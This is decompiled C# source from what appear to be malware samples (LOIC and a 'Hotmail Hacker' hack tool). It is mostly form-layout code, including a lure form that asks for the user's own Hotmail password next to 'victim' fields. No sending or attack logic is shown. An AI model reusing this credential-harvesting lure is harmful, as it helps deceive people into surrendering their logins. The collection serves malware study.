<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.frmWtf
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using LOIC.Properties;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
public class frmWtf : Form
|
||||
{
|
||||
private IContainer components;
|
||||
|
||||
public frmWtf() => this.InitializeComponent();
|
||||
|
||||
private void frmWtf_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
private void frmWtf_KeyDown(object sender, KeyEventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackgroundImage = (Image) Resources.WTF;
|
||||
this.ClientSize = new Size(416, 300);
|
||||
this.ControlBox = false;
|
||||
this.Name = nameof (frmWtf);
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Click += new EventHandler(this.frmWtf_Click);
|
||||
this.KeyDown += new KeyEventHandler(this.frmWtf_KeyDown);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("fcb2bdc9-ca1f-47e2-94c9-4b84653b34dc")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+889
@@ -0,0 +1,889 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.Form1
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Hotmail_Hacker
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("GroupBox1")]
|
||||
private GroupBox _GroupBox1;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private TextBox _TextBox2;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private Label _Label2;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label _Label1;
|
||||
[AccessedThroughProperty("GroupBox2")]
|
||||
private GroupBox _GroupBox2;
|
||||
[AccessedThroughProperty("CheckBox1")]
|
||||
private CheckBox _CheckBox1;
|
||||
[AccessedThroughProperty("TextBox3")]
|
||||
private TextBox _TextBox3;
|
||||
[AccessedThroughProperty("Label5")]
|
||||
private Label _Label5;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private Label _Label3;
|
||||
[AccessedThroughProperty("TextBox4")]
|
||||
private TextBox _TextBox4;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private Label _Label4;
|
||||
[AccessedThroughProperty("Label6")]
|
||||
private Label _Label6;
|
||||
[AccessedThroughProperty("NumericUpDown1")]
|
||||
private NumericUpDown _NumericUpDown1;
|
||||
[AccessedThroughProperty("GroupBox3")]
|
||||
private GroupBox _GroupBox3;
|
||||
[AccessedThroughProperty("CheckBox4")]
|
||||
private CheckBox _CheckBox4;
|
||||
[AccessedThroughProperty("CheckBox3")]
|
||||
private CheckBox _CheckBox3;
|
||||
[AccessedThroughProperty("CheckBox2")]
|
||||
private CheckBox _CheckBox2;
|
||||
[AccessedThroughProperty("CheckBox7")]
|
||||
private CheckBox _CheckBox7;
|
||||
[AccessedThroughProperty("CheckBox6")]
|
||||
private CheckBox _CheckBox6;
|
||||
[AccessedThroughProperty("CheckBox5")]
|
||||
private CheckBox _CheckBox5;
|
||||
[AccessedThroughProperty("Label7")]
|
||||
private Label _Label7;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button _Button2;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
lock (Form1.__ENCList)
|
||||
Form1.__ENCList.Add(new WeakReference((object) this));
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
||||
this.GroupBox1 = new GroupBox();
|
||||
this.Label1 = new Label();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.Label2 = new Label();
|
||||
this.TextBox2 = new TextBox();
|
||||
this.GroupBox2 = new GroupBox();
|
||||
this.Label3 = new Label();
|
||||
this.TextBox4 = new TextBox();
|
||||
this.Label4 = new Label();
|
||||
this.Label5 = new Label();
|
||||
this.TextBox3 = new TextBox();
|
||||
this.CheckBox1 = new CheckBox();
|
||||
this.NumericUpDown1 = new NumericUpDown();
|
||||
this.Label6 = new Label();
|
||||
this.GroupBox3 = new GroupBox();
|
||||
this.CheckBox2 = new CheckBox();
|
||||
this.CheckBox3 = new CheckBox();
|
||||
this.CheckBox4 = new CheckBox();
|
||||
this.Label7 = new Label();
|
||||
this.CheckBox5 = new CheckBox();
|
||||
this.CheckBox6 = new CheckBox();
|
||||
this.CheckBox7 = new CheckBox();
|
||||
this.Button1 = new Button();
|
||||
this.Button2 = new Button();
|
||||
this.GroupBox1.SuspendLayout();
|
||||
this.GroupBox2.SuspendLayout();
|
||||
this.NumericUpDown1.BeginInit();
|
||||
this.GroupBox3.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.GroupBox1.BackColor = Color.Transparent;
|
||||
this.GroupBox1.Controls.Add((Control) this.TextBox2);
|
||||
this.GroupBox1.Controls.Add((Control) this.Label2);
|
||||
this.GroupBox1.Controls.Add((Control) this.TextBox1);
|
||||
this.GroupBox1.Controls.Add((Control) this.Label1);
|
||||
GroupBox groupBox1_1 = this.GroupBox1;
|
||||
Point point1 = new Point(12, 315);
|
||||
Point point2 = point1;
|
||||
groupBox1_1.Location = point2;
|
||||
this.GroupBox1.Name = "GroupBox1";
|
||||
GroupBox groupBox1_2 = this.GroupBox1;
|
||||
Size size1 = new Size(268, 103);
|
||||
Size size2 = size1;
|
||||
groupBox1_2.Size = size2;
|
||||
this.GroupBox1.TabIndex = 3;
|
||||
this.GroupBox1.TabStop = false;
|
||||
this.GroupBox1.Text = "Your Account Information:";
|
||||
this.Label1.AutoSize = true;
|
||||
Label label1_1 = this.Label1;
|
||||
point1 = new Point(6, 16);
|
||||
Point point3 = point1;
|
||||
label1_1.Location = point3;
|
||||
this.Label1.Name = "Label1";
|
||||
Label label1_2 = this.Label1;
|
||||
size1 = new Size(58, 13);
|
||||
Size size3 = size1;
|
||||
label1_2.Size = size3;
|
||||
this.Label1.TabIndex = 1;
|
||||
this.Label1.Text = "Username:";
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
point1 = new Point(9, 32);
|
||||
Point point4 = point1;
|
||||
textBox1_1.Location = point4;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
size1 = new Size(253, 20);
|
||||
Size size4 = size1;
|
||||
textBox1_2.Size = size4;
|
||||
this.TextBox1.TabIndex = 11;
|
||||
this.Label2.AutoSize = true;
|
||||
Label label2_1 = this.Label2;
|
||||
point1 = new Point(6, 55);
|
||||
Point point5 = point1;
|
||||
label2_1.Location = point5;
|
||||
this.Label2.Name = "Label2";
|
||||
Label label2_2 = this.Label2;
|
||||
size1 = new Size(56, 13);
|
||||
Size size5 = size1;
|
||||
label2_2.Size = size5;
|
||||
this.Label2.TabIndex = 3;
|
||||
this.Label2.Text = "Password:";
|
||||
this.TextBox2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
TextBox textBox2_1 = this.TextBox2;
|
||||
point1 = new Point(9, 71);
|
||||
Point point6 = point1;
|
||||
textBox2_1.Location = point6;
|
||||
this.TextBox2.Name = "TextBox2";
|
||||
this.TextBox2.PasswordChar = 'X';
|
||||
TextBox textBox2_2 = this.TextBox2;
|
||||
size1 = new Size(253, 20);
|
||||
Size size6 = size1;
|
||||
textBox2_2.Size = size6;
|
||||
this.TextBox2.TabIndex = 12;
|
||||
this.GroupBox2.BackColor = Color.Transparent;
|
||||
this.GroupBox2.Controls.Add((Control) this.Label6);
|
||||
this.GroupBox2.Controls.Add((Control) this.NumericUpDown1);
|
||||
this.GroupBox2.Controls.Add((Control) this.CheckBox1);
|
||||
this.GroupBox2.Controls.Add((Control) this.TextBox3);
|
||||
this.GroupBox2.Controls.Add((Control) this.Label5);
|
||||
this.GroupBox2.Controls.Add((Control) this.Label3);
|
||||
this.GroupBox2.Controls.Add((Control) this.TextBox4);
|
||||
this.GroupBox2.Controls.Add((Control) this.Label4);
|
||||
GroupBox groupBox2_1 = this.GroupBox2;
|
||||
point1 = new Point(12, 57);
|
||||
Point point7 = point1;
|
||||
groupBox2_1.Location = point7;
|
||||
this.GroupBox2.Name = "GroupBox2";
|
||||
GroupBox groupBox2_2 = this.GroupBox2;
|
||||
size1 = new Size(268, 157);
|
||||
Size size7 = size1;
|
||||
groupBox2_2.Size = size7;
|
||||
this.GroupBox2.TabIndex = 1;
|
||||
this.GroupBox2.TabStop = false;
|
||||
this.GroupBox2.Text = "Your Victims Account Information:";
|
||||
this.Label3.AutoSize = true;
|
||||
Label label3_1 = this.Label3;
|
||||
point1 = new Point(4, 68);
|
||||
Point point8 = point1;
|
||||
label3_1.Location = point8;
|
||||
this.Label3.Name = "Label3";
|
||||
Label label3_2 = this.Label3;
|
||||
size1 = new Size(56, 13);
|
||||
Size size8 = size1;
|
||||
label3_2.Size = size8;
|
||||
this.Label3.TabIndex = 3;
|
||||
this.Label3.Text = "Password:";
|
||||
TextBox textBox4_1 = this.TextBox4;
|
||||
point1 = new Point(7, 45);
|
||||
Point point9 = point1;
|
||||
textBox4_1.Location = point9;
|
||||
this.TextBox4.Name = "TextBox4";
|
||||
TextBox textBox4_2 = this.TextBox4;
|
||||
size1 = new Size(253, 20);
|
||||
Size size9 = size1;
|
||||
textBox4_2.Size = size9;
|
||||
this.TextBox4.TabIndex = 1;
|
||||
this.Label4.AutoSize = true;
|
||||
Label label4_1 = this.Label4;
|
||||
point1 = new Point(4, 29);
|
||||
Point point10 = point1;
|
||||
label4_1.Location = point10;
|
||||
this.Label4.Name = "Label4";
|
||||
Label label4_2 = this.Label4;
|
||||
size1 = new Size(58, 13);
|
||||
Size size10 = size1;
|
||||
label4_2.Size = size10;
|
||||
this.Label4.TabIndex = 1;
|
||||
this.Label4.Text = "Username:";
|
||||
this.Label5.AutoSize = true;
|
||||
Label label5_1 = this.Label5;
|
||||
point1 = new Point(71, 16);
|
||||
Point point11 = point1;
|
||||
label5_1.Location = point11;
|
||||
this.Label5.Name = "Label5";
|
||||
Label label5_2 = this.Label5;
|
||||
size1 = new Size(189, 13);
|
||||
Size size11 = size1;
|
||||
label5_2.Size = size11;
|
||||
this.Label5.TabIndex = 4;
|
||||
this.Label5.Text = "Enter As Much Information As Possible";
|
||||
TextBox textBox3_1 = this.TextBox3;
|
||||
point1 = new Point(7, 84);
|
||||
Point point12 = point1;
|
||||
textBox3_1.Location = point12;
|
||||
this.TextBox3.Name = "TextBox3";
|
||||
TextBox textBox3_2 = this.TextBox3;
|
||||
size1 = new Size(253, 20);
|
||||
Size size12 = size1;
|
||||
textBox3_2.Size = size12;
|
||||
this.TextBox3.TabIndex = 2;
|
||||
this.CheckBox1.AutoSize = true;
|
||||
CheckBox checkBox1_1 = this.CheckBox1;
|
||||
point1 = new Point(7, 110);
|
||||
Point point13 = point1;
|
||||
checkBox1_1.Location = point13;
|
||||
this.CheckBox1.Name = "CheckBox1";
|
||||
CheckBox checkBox1_2 = this.CheckBox1;
|
||||
size1 = new Size(121, 17);
|
||||
Size size13 = size1;
|
||||
checkBox1_2.Size = size13;
|
||||
this.CheckBox1.TabIndex = 3;
|
||||
this.CheckBox1.Text = "Unknown Password";
|
||||
this.CheckBox1.UseVisualStyleBackColor = true;
|
||||
this.NumericUpDown1.Enabled = false;
|
||||
NumericUpDown numericUpDown1_1 = this.NumericUpDown1;
|
||||
point1 = new Point(149, 128);
|
||||
Point point14 = point1;
|
||||
numericUpDown1_1.Location = point14;
|
||||
NumericUpDown numericUpDown1_2 = this.NumericUpDown1;
|
||||
Decimal num1 = new Decimal(new int[4]
|
||||
{
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
Decimal num2 = num1;
|
||||
numericUpDown1_2.Minimum = num2;
|
||||
this.NumericUpDown1.Name = "NumericUpDown1";
|
||||
NumericUpDown numericUpDown1_3 = this.NumericUpDown1;
|
||||
size1 = new Size(40, 20);
|
||||
Size size14 = size1;
|
||||
numericUpDown1_3.Size = size14;
|
||||
this.NumericUpDown1.TabIndex = 4;
|
||||
NumericUpDown numericUpDown1_4 = this.NumericUpDown1;
|
||||
num1 = new Decimal(new int[4]{ 1, 0, 0, 0 });
|
||||
Decimal num3 = num1;
|
||||
numericUpDown1_4.Value = num3;
|
||||
this.Label6.AutoSize = true;
|
||||
Label label6_1 = this.Label6;
|
||||
point1 = new Point(4, 130);
|
||||
Point point15 = point1;
|
||||
label6_1.Location = point15;
|
||||
this.Label6.Name = "Label6";
|
||||
Label label6_2 = this.Label6;
|
||||
size1 = new Size(139, 13);
|
||||
Size size15 = size1;
|
||||
label6_2.Size = size15;
|
||||
this.Label6.TabIndex = 7;
|
||||
this.Label6.Text = "Maximum Password Length:";
|
||||
this.GroupBox3.BackColor = Color.Transparent;
|
||||
this.GroupBox3.Controls.Add((Control) this.CheckBox7);
|
||||
this.GroupBox3.Controls.Add((Control) this.CheckBox6);
|
||||
this.GroupBox3.Controls.Add((Control) this.CheckBox5);
|
||||
this.GroupBox3.Controls.Add((Control) this.CheckBox4);
|
||||
this.GroupBox3.Controls.Add((Control) this.CheckBox3);
|
||||
this.GroupBox3.Controls.Add((Control) this.CheckBox2);
|
||||
GroupBox groupBox3_1 = this.GroupBox3;
|
||||
point1 = new Point(12, 220);
|
||||
Point point16 = point1;
|
||||
groupBox3_1.Location = point16;
|
||||
this.GroupBox3.Name = "GroupBox3";
|
||||
GroupBox groupBox3_2 = this.GroupBox3;
|
||||
size1 = new Size(268, 89);
|
||||
Size size16 = size1;
|
||||
groupBox3_2.Size = size16;
|
||||
this.GroupBox3.TabIndex = 2;
|
||||
this.GroupBox3.TabStop = false;
|
||||
this.GroupBox3.Text = "What To Do:";
|
||||
this.CheckBox2.AutoSize = true;
|
||||
CheckBox checkBox2_1 = this.CheckBox2;
|
||||
point1 = new Point(7, 19);
|
||||
Point point17 = point1;
|
||||
checkBox2_1.Location = point17;
|
||||
this.CheckBox2.Name = "CheckBox2";
|
||||
CheckBox checkBox2_2 = this.CheckBox2;
|
||||
size1 = new Size(92, 17);
|
||||
Size size17 = size1;
|
||||
checkBox2_2.Size = size17;
|
||||
this.CheckBox2.TabIndex = 5;
|
||||
this.CheckBox2.Text = "Get Password";
|
||||
this.CheckBox2.UseVisualStyleBackColor = true;
|
||||
this.CheckBox3.AutoSize = true;
|
||||
CheckBox checkBox3_1 = this.CheckBox3;
|
||||
point1 = new Point(7, 42);
|
||||
Point point18 = point1;
|
||||
checkBox3_1.Location = point18;
|
||||
this.CheckBox3.Name = "CheckBox3";
|
||||
CheckBox checkBox3_2 = this.CheckBox3;
|
||||
size1 = new Size(142, 17);
|
||||
Size size18 = size1;
|
||||
checkBox3_2.Size = size18;
|
||||
this.CheckBox3.TabIndex = 6;
|
||||
this.CheckBox3.Text = "Get Personal Information";
|
||||
this.CheckBox3.UseVisualStyleBackColor = true;
|
||||
this.CheckBox4.AutoSize = true;
|
||||
CheckBox checkBox4_1 = this.CheckBox4;
|
||||
point1 = new Point(7, 65);
|
||||
Point point19 = point1;
|
||||
checkBox4_1.Location = point19;
|
||||
this.CheckBox4.Name = "CheckBox4";
|
||||
CheckBox checkBox4_2 = this.CheckBox4;
|
||||
size1 = new Size(88, 17);
|
||||
Size size19 = size1;
|
||||
checkBox4_2.Size = size19;
|
||||
this.CheckBox4.TabIndex = 7;
|
||||
this.CheckBox4.Text = "Get Contacts";
|
||||
this.CheckBox4.UseVisualStyleBackColor = true;
|
||||
this.Label7.AutoSize = true;
|
||||
this.Label7.BackColor = Color.Transparent;
|
||||
Label label7_1 = this.Label7;
|
||||
point1 = new Point(27, 421);
|
||||
Point point20 = point1;
|
||||
label7_1.Location = point20;
|
||||
this.Label7.Name = "Label7";
|
||||
Label label7_2 = this.Label7;
|
||||
size1 = new Size(237, 13);
|
||||
Size size20 = size1;
|
||||
label7_2.Size = size20;
|
||||
this.Label7.TabIndex = 3;
|
||||
this.Label7.Text = "***You MUST Be Logged In For This To Work***";
|
||||
this.CheckBox5.AutoSize = true;
|
||||
CheckBox checkBox5_1 = this.CheckBox5;
|
||||
point1 = new Point(149, 19);
|
||||
Point point21 = point1;
|
||||
checkBox5_1.Location = point21;
|
||||
this.CheckBox5.Name = "CheckBox5";
|
||||
CheckBox checkBox5_2 = this.CheckBox5;
|
||||
size1 = new Size(120, 17);
|
||||
Size size21 = size1;
|
||||
checkBox5_2.Size = size21;
|
||||
this.CheckBox5.TabIndex = 8;
|
||||
this.CheckBox5.Text = "Download All E-Mail";
|
||||
this.CheckBox5.UseVisualStyleBackColor = true;
|
||||
this.CheckBox6.AutoSize = true;
|
||||
CheckBox checkBox6_1 = this.CheckBox6;
|
||||
point1 = new Point(149, 65);
|
||||
Point point22 = point1;
|
||||
checkBox6_1.Location = point22;
|
||||
this.CheckBox6.Name = "CheckBox6";
|
||||
CheckBox checkBox6_2 = this.CheckBox6;
|
||||
size1 = new Size(95, 17);
|
||||
Size size22 = size1;
|
||||
checkBox6_2.Size = size22;
|
||||
this.CheckBox6.TabIndex = 10;
|
||||
this.CheckBox6.Text = "Close Account";
|
||||
this.CheckBox6.UseVisualStyleBackColor = true;
|
||||
this.CheckBox7.AutoSize = true;
|
||||
CheckBox checkBox7_1 = this.CheckBox7;
|
||||
point1 = new Point(149, 42);
|
||||
Point point23 = point1;
|
||||
checkBox7_1.Location = point23;
|
||||
this.CheckBox7.Name = "CheckBox7";
|
||||
CheckBox checkBox7_2 = this.CheckBox7;
|
||||
size1 = new Size(103, 17);
|
||||
Size size23 = size1;
|
||||
checkBox7_2.Size = size23;
|
||||
this.CheckBox7.TabIndex = 9;
|
||||
this.CheckBox7.Text = "Delete All E-Mail";
|
||||
this.CheckBox7.UseVisualStyleBackColor = true;
|
||||
Button button1_1 = this.Button1;
|
||||
point1 = new Point(19, 437);
|
||||
Point point24 = point1;
|
||||
button1_1.Location = point24;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
size1 = new Size(92, 23);
|
||||
Size size24 = size1;
|
||||
button1_2.Size = size24;
|
||||
this.Button1.TabIndex = 13;
|
||||
this.Button1.Text = "Login And Start";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
Button button2_1 = this.Button2;
|
||||
point1 = new Point(199, 437);
|
||||
Point point25 = point1;
|
||||
button2_1.Location = point25;
|
||||
this.Button2.Name = "Button2";
|
||||
Button button2_2 = this.Button2;
|
||||
size1 = new Size(75, 23);
|
||||
Size size25 = size1;
|
||||
button2_2.Size = size25;
|
||||
this.Button2.TabIndex = 14;
|
||||
this.Button2.Text = "Exit";
|
||||
this.Button2.UseVisualStyleBackColor = true;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
|
||||
this.BackgroundImage = (Image) Hotmail_Hacker.My.Resources.Resources.Untitled_1;
|
||||
this.BackgroundImageLayout = ImageLayout.Stretch;
|
||||
size1 = new Size(292, 469);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.Button2);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.Controls.Add((Control) this.Label7);
|
||||
this.Controls.Add((Control) this.GroupBox3);
|
||||
this.Controls.Add((Control) this.GroupBox2);
|
||||
this.Controls.Add((Control) this.GroupBox1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = "Hotmail Hacker";
|
||||
this.GroupBox1.ResumeLayout(false);
|
||||
this.GroupBox1.PerformLayout();
|
||||
this.GroupBox2.ResumeLayout(false);
|
||||
this.GroupBox2.PerformLayout();
|
||||
this.NumericUpDown1.EndInit();
|
||||
this.GroupBox3.ResumeLayout(false);
|
||||
this.GroupBox3.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual GroupBox GroupBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._GroupBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label1;
|
||||
